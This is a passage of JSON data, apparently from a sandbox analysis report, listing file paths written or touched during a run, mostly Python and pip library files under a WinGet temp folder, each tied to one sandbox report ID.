\include\\dynamic_annotations.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\dir_util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\setuptools\\archive_util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\enumobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\dist.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\distributions\\base.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\setuptools\\build_meta.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\errcode.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\errors.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\distributions\\installed.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\setuptools\\cli-32.exe","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1mdfxaqi.4os.ps1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_hkk4yvlw.gjq.psm1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\__init__.cpython-310.pyc.1682462349616","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\os.cpython-310.pyc.1682467068432","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__\\__init__.cpython-310.pyc.1682467668976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\keyword.cpython-310.pyc.1682467329568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\operator.cpython-310.pyc.1682467329856","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\reprlib.cpython-310.pyc.1682467331296","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\functools.cpython-310.pyc.1682467334176","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\types.cpython-310.pyc.1682467333456","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__pycache__\\__init__.cpython-310.pyc.1682467671056","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\typing.cpython-310.pyc.1682474068000","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__\\abc.cpython-310.pyc.1682467672976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\re.cpython-310.pyc.1682474069152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\enum.cpython-310.pyc.1682474069440","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sre_compile.cpython-310.pyc.1682473800960","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sre_parse.cpython-310.pyc.1682473801536","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\copyreg.cpython-310.pyc.1682473845648","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__pycache__\\__main__.cpython-310.pyc.1682467673456","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__pycache__\\__init__.cpython-310.pyc.1682474269696","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\__init__.cpython-310.pyc.1682473505824","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\inject_securetransport.cpython-310.pyc.1682462276080","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\_log.cpython-310.pyc.1682473513920","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\logging\\__pycache__\\__init__.cpython-310.pyc.1682467674096","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\traceback.cpython-310.pyc.1682473815328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\linecache.cpython-310.pyc.1682473816624","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\tokenize.cpython-310.pyc.1682473817200","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\token.cpython-310.pyc.1682473817632","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\weakref.cpython-310.pyc.1682478956592","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_weakrefset.cpython-310.pyc.1682478957744","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\string.cpython-310.pyc.1682478971568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\threading.cpython-310.pyc.1682479155216","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\main.cpython-310.pyc.1682479347152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\locale.cpython-310.pyc.1682478667728","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\autocompletion.cpython-310.pyc.1682479284976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\optparse.cpython-310.pyc.1682478672912","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\textwrap.cpython-310.pyc.1682478675792","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\gettext.cpython-310.pyc.1682479120576","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\cmdoptions.cpython-310.pyc.1682478720864","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\__init__.cpython-310.pyc.1682478720688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\__future__.cpython-310.pyc.1682478705104","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\glob.cpython-310.pyc.1682478705824","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\fnmatch.cpython-310.pyc.1682478706112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\posixpath.cpython-310.pyc.1682478706544","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\__init__.cpython-310.pyc.1682479661280","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\__about__.cpython-310.pyc.1682479663216","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\utils.cpython-310.pyc.1682479663216","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\tags.cpython-310.pyc.1682479670256","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\platform.cpython-310.pyc.1682479714000","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\subprocess.cpython-310.pyc.1682479716160","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\signal.cpython-310.pyc.1682479716880","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sysconfig.cpython-310.pyc.1682479995408","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_manylinux.cpython-310.pyc.1682480429376","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\struct.cpython-310.pyc.1682480001168","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_musllinux.cpython-310.pyc.1682480072640","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\version.cpython-310.pyc.1682480074048","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_structures.cpython-310.pyc.1682479428976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\parser.cpython-310.pyc.1682480515360","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\shutil.cpython-310.pyc.1682480102496","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\bz2.cpython-310.pyc.1682480301808","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_compression.cpython-310.pyc.1682480302528","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\lzma.cpython-310.pyc.1682480307568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\status_codes.cpython-310.pyc.1682480527152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__pycache__\\configuration.cpython-310.pyc.1682480527504","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\configparser.cpython-310.pyc.1682480121872","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__pycache__\\exceptions.cpython-310.pyc.1682479866688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\pkg_resources\\__pycache__\\__init__.cpython-310.pyc.1682480547568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\zipfile.cpython-310.pyc.1682479877408","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\pathlib.cpython-310.pyc.1682479880864","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\urllib\\__pycache__\\__init__.cpython-310.pyc.1682480407664","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\urllib\\__pycache__\\parse.cpython-310.pyc.1682479885040","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\pkgutil.cpython-310.pyc.1682490125328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\plistlib.cpython-310.pyc.1682490033328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\datetime.cpython-310.pyc.1682490033904","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\__pycache__\\__init__.cpython-310.pyc.1682490037360","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\parsers\\__pycache__\\__init__.cpython-310.pyc.1682480414544","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\parsers\\__pycache__\\expat.cpython-310.pyc.1682489802960","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\parser.cpython-310.pyc.1682489086368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\feedparser.cpython-310.pyc.1682480412144","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\errors.cpython-310.pyc.1682489847664","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\_policybase.cpython-310.pyc.1682489803120","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\header.cpython-310.pyc.1682489846512","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\quoprimime.cpython-310.pyc.1682489803440","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\base64mime.cpython-310.pyc.1682489803600","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\base64.cpython-310.pyc.1682489844208","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\charset.cpython-310.pyc.1682489839456","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\encoders.cpython-310.pyc.1682489838736","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\quopri.cpython-310.pyc.1682489838448","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\utils.cpython-310.pyc.1682490043840","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\random.cpython-310.pyc.1682490033616","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\bisect.cpython-310.pyc.1682490042688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\socket.cpython-310.pyc.1682489087520","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\selectors.cpython-310.pyc.1682489089248","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\_parseaddr.cpython-310.pyc.1682489807280","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\calendar.cpython-310.pyc.1682490265296","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\tempfile.cpython-310.pyc.1682490189856","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\dis.cpython-310.pyc.1682490765312","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\six.cpython-310.pyc.1682489812560","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\pkg_resources\\__pycache__\\py31compat.cpython-310.pyc.1682490609648","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\appdirs.cpython-310.pyc.1682490519808","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\requirements.cpython-310.pyc.1682490610608","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\pyparsing.cpython-310.pyc.1682491178512","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\dataclasses.cpython-310.pyc.1682491222912","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\__init__.cpython-310.pyc.2700894476592","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\codecs.cpython-310.pyc.2700899701584","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\aliases.cpython-310.pyc.2700894476912","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\utf_8.cpython-310.pyc.2700894477392","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\cp1252.cpython-310.pyc.2700894477712","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\io.cpython-310.pyc.2700899880080","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\abc.cpython-310.pyc.2700899880368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\site.cpython-310.pyc.2700899882240","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\os.cpython-310.pyc.2700899884112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\stat.cpython-310.pyc.2700899884832","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_collections_abc.cpython-310.pyc.2700894479152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\ntpath.cpython-310.pyc.2700900491760","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\genericpath.cpython-310.pyc.2700900492192","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_sitebuiltins.cpython-310.pyc.2700900325472","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\warnings.cpython-310.pyc.2700900332816","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\machinery.cpython-310.pyc.2700905365872","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\util.cpython-310.pyc.2700900419456","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\_abc.cpython-310.pyc.2700900420176","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\contextlib.cpython-310.pyc.2700900421040","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\keyword.cpython-310.pyc.2700900423344","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\operator.cpython-310.pyc.2700900423632","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\functools.cpython-310.pyc.2700905578832","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\types.cpython-310.pyc.2700905581568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__pycache__\\__init__.cpython-310.pyc.2700905369072","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\typing.cpython-310.pyc.2700905619808","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__\\abc.cpython-310.pyc.2700905370512","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sre_compile.cpython-310.pyc.2700905861968","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sre_parse.cpython-310.pyc.2700905862544","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sre_constants.cpython-310.pyc.2700905863408","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\copyreg.cpython-310.pyc.2700906070496","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__pycache__\\__main__.cpython-310.pyc.2700905370512","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__pycache__\\__init__.cpython-310.pyc.2700905971040","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\__init__.cpython-310.pyc.2700905944976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]